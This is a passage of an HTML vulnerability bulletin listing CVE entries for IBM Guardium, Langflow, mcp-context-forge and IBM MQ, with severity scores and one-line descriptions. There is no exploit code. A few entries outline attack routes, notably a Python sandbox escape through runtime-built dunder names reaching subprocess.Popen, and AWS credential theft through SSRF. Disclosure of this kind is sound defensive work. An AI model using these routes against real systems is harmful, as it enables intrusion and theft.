&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to gain elevated privileges due to missing authorization in the REST API.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82885&quot; target=&quot;_blank&quot;&gt;CVE-2026-82885&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82887&quot; target=&quot;_blank&quot;&gt;CVE-2026-82887&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82892&quot; target=&quot;_blank&quot;&gt;CVE-2026-82892&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 is vulnerable to a hardcoded credentials vulnerability in the hardware_assess/obstore binaries. A low-privileged authenticated user can recover hardcoded product master secrets, potentially resulting in unauthorized access to the internal database and compromise of sensitive system information.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84034&quot; target=&quot;_blank&quot;&gt;CVE-2026-84034&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of input during web page generation.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84070&quot; target=&quot;_blank&quot;&gt;CVE-2026-84070&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of input during web page generation.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84074&quot; target=&quot;_blank&quot;&gt;CVE-2026-84074&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote attacker to bypass security restrictions due to a cross-site request forgery vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84077&quot; target=&quot;_blank&quot;&gt;CVE-2026-84077&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote attacker to bypass security restrictions due to improper certificate validation.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84081&quot; target=&quot;_blank&quot;&gt;CVE-2026-84081&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote attacker to bypass security restrictions due to a cross-site request forgery (CSRF) vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84084&quot; target=&quot;_blank&quot;&gt;CVE-2026-84084&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote attacker to execute arbitrary OS commands due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84085&quot; target=&quot;_blank&quot;&gt;CVE-2026-84085&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of input during web page generation.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84106&quot; target=&quot;_blank&quot;&gt;CVE-2026-84106&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote attacker to execute arbitrary code due to improper neutralization of input during web page generation.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84108&quot; target=&quot;_blank&quot;&gt;CVE-2026-84108&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote attacker to bypass security restrictions due to improper authorization.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84241&quot; target=&quot;_blank&quot;&gt;CVE-2026-84241&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 is vulnerable to a command injection vulnerability in the create csr wildcard CLI command. An authenticated privileged CLI user can inject arbitrary shell commands through the alias input, resulting in command execution with root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81669&quot; target=&quot;_blank&quot;&gt;CVE-2026-81669&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 is vulnerable to a command injection vulnerability in the import remotelog_config file CLI command. A highly privileged authenticated user can inject shell commands through the filename parameter, potentially resulting in arbitrary command execution with root privileges and impact to the confidentiality, integrity, and availability of the affected system.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81937&quot; target=&quot;_blank&quot;&gt;CVE-2026-81937&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a local attacker to gain elevated privileges due to improper privilege management.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82893&quot; target=&quot;_blank&quot;&gt;CVE-2026-82893&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to traverse directories on the system due to a path traversal vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82896&quot; target=&quot;_blank&quot;&gt;CVE-2026-82896&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to bypass security restrictions due to improper authorization.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84036&quot; target=&quot;_blank&quot;&gt;CVE-2026-84036&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 is vulnerable to OS command injection in the Universal Connector plugin upload functionality. A privileged authenticated attacker can provide a malicious filename that is incorporated into a shell command executed by the application, potentially resulting in arbitrary command execution with root-level privileges.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84071&quot; target=&quot;_blank&quot;&gt;CVE-2026-84071&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to bypass security restrictions due to improper authorization.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84076&quot; target=&quot;_blank&quot;&gt;CVE-2026-84076&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 is vulnerable to local privilege escalation via the SUID-root nmap_wrapper binary on the Collector appliance. A local attacker with low-privileged access to the Collector can exploit insufficient argument validation in the SUID binary to execute arbitrary commands as root, resulting in full compromise of the Collector appliance.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84083&quot; target=&quot;_blank&quot;&gt;CVE-2026-84083&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper limitation of a pathname to a restricted directory.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84086&quot; target=&quot;_blank&quot;&gt;CVE-2026-84086&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a local attacker to gain elevated privileges due to improper privilege management.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84089&quot; target=&quot;_blank&quot;&gt;CVE-2026-84089&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to obtain sensitive information due to improper neutralization of special elements used in an SQL command.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84105&quot; target=&quot;_blank&quot;&gt;CVE-2026-84105&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to obtain sensitive information due to improper neutralization of special elements used in an SQL command.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84239&quot; target=&quot;_blank&quot;&gt;CVE-2026-84239&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.10.0 can allow attackers to execute arbitrary Python code with root privileges (UID=0) on the Langflow server by submitting components containing socket or urllib imports. This enables: (1) AWS credential theft via IMDSv1 SSRF with full IAM role permissions, (2) arbitrary file exfiltration from the container filesystem, and (3) lateral movement to internal services (PostgreSQL, Redis) within the Docker network. The scanner incorrectly returns &quot;validated&quot;: true, providing a false security signal.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12944&quot; target=&quot;_blank&quot;&gt;CVE-2026-12944&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--mcp-context-forge&lt;/td&gt;
&lt;td&gt;MCP Context Forge is an AI gateway, registry, and proxy for MCP, A2A, REST, and gRPC APIs. Prior to 1.0.2, the python_sandbox_server in mcp-servers/python/python_sandbox_server/src/python_sandbox_server/server_fastmcp.py exposes raw getattr through safe_builtins, omits a required _getattr_ guard, and relies on validate_code checks for literal dangerous dunder strings. An attacker can construct dunder names at runtime, traverse the Python class hierarchy, reach subprocess.Popen, and execute OS commands with the server process privileges through the execute_code MCP tool. The HTTP/SSE transport can expose this tool without authentication, while stdio-only deployments have reduced network reachability. The issue affects the python_sandbox_server subproject and does not directly affect the core Context Forge gateway or proxy components. This issue is fixed in version 1.0.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53710&quot; target=&quot;_blank&quot;&gt;CVE-2026-53710&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 LTS, and 10.0.0.0 could allow a remote attacker to execute arbitrary code due to unsafe JNDI lookup processing when the IVT application is deployed.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12351&quot; target=&quot;_blank&quot;&gt;CVE-2026-12351&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ could allow a remote attacker to cause a denial of service or execute arbitrary code due to a buffer overflow when processing malformed compressed data on channels configured with compression enabled.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-10027&quot; target=&quot;_blank&quot;&gt;CVE-2026-10027&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ could allow an authenticated attacker to cause a denial of service or potentially escalate privileges due to a heap buffer overflow when processing MQPUT operations with malformed distribution headers.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-10575&quot; target=&quot;_blank&quot;&gt;CVE-2026-10575&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to a stack buffer overflow when processing XA transaction identifiers.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11375&quot; target=&quot;_blank&quot;&gt;CVE-2026-11375&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to an integer overflow in distribution list processing.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11378&quot; target=&quot;_blank&quot;&gt;CVE-2026-11378&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to an integer overflow in MQINQ request processing.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11725&quot; target=&quot;_blank&quot;&gt;CVE-2026-11725&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow a remote attacker to cause a denial of service or potentially execute arbitrary code in the client due to a heap buffer overflow when receiving messages from a malicious queue manager or through a man-in-the-middle attack.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11728&quot; target=&quot;_blank&quot;&gt;CVE-2026-11728&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow an authenticated attacker to execute arbitrary code in client applications due to unsafe deserialization that enables JNDI injection attacks.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11729&quot; target=&quot;_blank&quot;&gt;CVE-2026-11729&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow an attacker to perform JNDI injection attacks due to insufficient input validation, potentially leading to information disclosure or remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12355&quot; target=&quot;_blank&quot;&gt;CVE-2026-12355&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 Classes for Java could allow an authenticated attacker to obtain sensitive information or cause a denial of service due to XML external entity injection in MQRFH2 header processing.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12666&quot; target=&quot;_blank&quot;&gt;CVE-2026-12666&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow an authenticated attacker to execute arbitrary code due to a deserialization of untrusted data.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12728&quot; target=&quot;_blank&quot;&gt;CVE-2026-12728&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow a remote authenticated attacker to execute arbitrary code on the system due to the deserialization of untrusted data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13293&quot; target=&quot;_blank&quot;&gt;CVE-2026-13293&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ Console allows authenticated non-administrative users to create and start queue managers due to improper authorization checks.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-10030&quot; target=&quot;_blank&quot;&gt;CVE-2026-10030&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ Java and JMS client libraries could allow an authenticated attacker to execute arbitrary code on client applications due to a deserialization filter bypass in exception handling.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-10751&quot; target=&quot;_blank&quot;&gt;CVE-2026-10751&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ could allow an authenticated attacker with cluster access to cause a denial of service or potentially execute arbitrary code due to improper validation of cluster command message lengths.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-10853&quot; target=&quot;_blank&quot;&gt;CVE-2026-10853&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow a remote attacker with a trusted TLS client certificate to cause a denial of service and potentially affect memory contents due to improper validation of deeply nested certificate data during TLS certificate processing.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12150&quot; target=&quot;_blank&quot;&gt;CVE-2026-12150&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
&lt;td&gt;IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow an authenticated attacker to execute arbitrary code on the application server due to improper validation of JNDI names in the Resource Adapter Installation Verification Test application.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12354&quot; target=&quot;_blank&quot;&gt;CVE-2026-12354&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--MQ&lt;/td&gt;
